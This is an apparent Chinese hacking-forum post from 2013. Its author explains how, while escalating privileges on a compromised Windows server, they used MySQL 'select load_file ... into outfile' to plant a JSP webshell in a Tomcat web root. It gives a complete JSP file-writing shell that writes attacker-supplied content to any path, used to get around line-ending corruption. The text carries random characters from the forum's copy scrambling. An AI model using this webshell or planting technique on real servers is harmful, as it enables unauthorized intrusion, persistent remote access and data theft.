找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2449|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。. D  x/ N. E0 K5 v. i; ?" J- z

& a! s4 Q5 f7 C# w4 N1 ]首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php/ [: W& h7 }. R1 f- X
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
% v0 |/ |- m- L, g' E* l提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了& k1 b9 P& e; D* @+ U+ Y/ y
1 show variables like '%plugin%';
# `) O) x, [  `3 g9 t; b. T" s! z+ b后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
8 G7 O' [, k3 t: ~$ }* D. p创建自定义函数似乎被拦截,一直失败。. c9 u8 C! @* Y7 k/ _# |) k
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
5 m  X1 k1 C' z1 N测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp! h) [$ o* j5 x$ b1 k, l. d  }
用mysql执行语句:
+ C; C) q# j: g% `5 I1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'. h9 g$ V; S! U; Z9 V8 h: C6 v
2 复制代码4 j1 T5 l% @: \# g9 ]& D, @+ k" c, _, \6 _
后成功。9 ?5 N1 i4 [; Y/ q* p5 f
但是访问后得到如下提示:7 A8 ~$ `. m2 ?5 l# D2 V9 L
​500页面5 E- V& l0 |$ \: C8 n! p1 Q- C

% [% j5 R8 P2 E' ~; d& V% @; k2 g& n$ d, O, e
明显是MySQL的Win下版本自动添加转义符\n\r了2 v6 E3 c8 I& Y/ l
这样导致程序运行的悲剧。* O- X0 k- p( [8 C8 ^; @: \! E
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。* J& O* Z/ e& h0 W" u$ R
最后弄了这么个小脚本:
+ A9 }/ b1 x8 H0 q; U01 <%@ page language="java" pageEncoding="gbk"%>- S7 k* p8 \7 L  G* C; Z
02 <jsp:directive.page import="java.io.File"/>/ y8 D/ I0 m% X2 I' n" I) E" b
03 <jsp:directive.page import="java.io.OutputStream"/>3 t6 s% N' B$ d, _, U' J
04 <jsp:directive.page import="java.io.FileOutputStream"/>
$ Y9 B7 p% n' y$ x& P! n  X05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>( [) K% M: _) r& U5 G! B! p
06 error www.2cto.com* E* B5 c) ~3 ^% t
07 <%}}if(i==0){%>2 H/ G, ^; P/ J& u! J: d
08 ok
* d6 b. o: t8 O09 <%}%>/ g2 A" c! x- B+ L7 Q' t  M% k
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
1 z, ^, O; O! n) o  b8 ^: K就可以避免转义符让JSP的马儿运行500错误了。! q- S* D" u4 x4 {4 Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表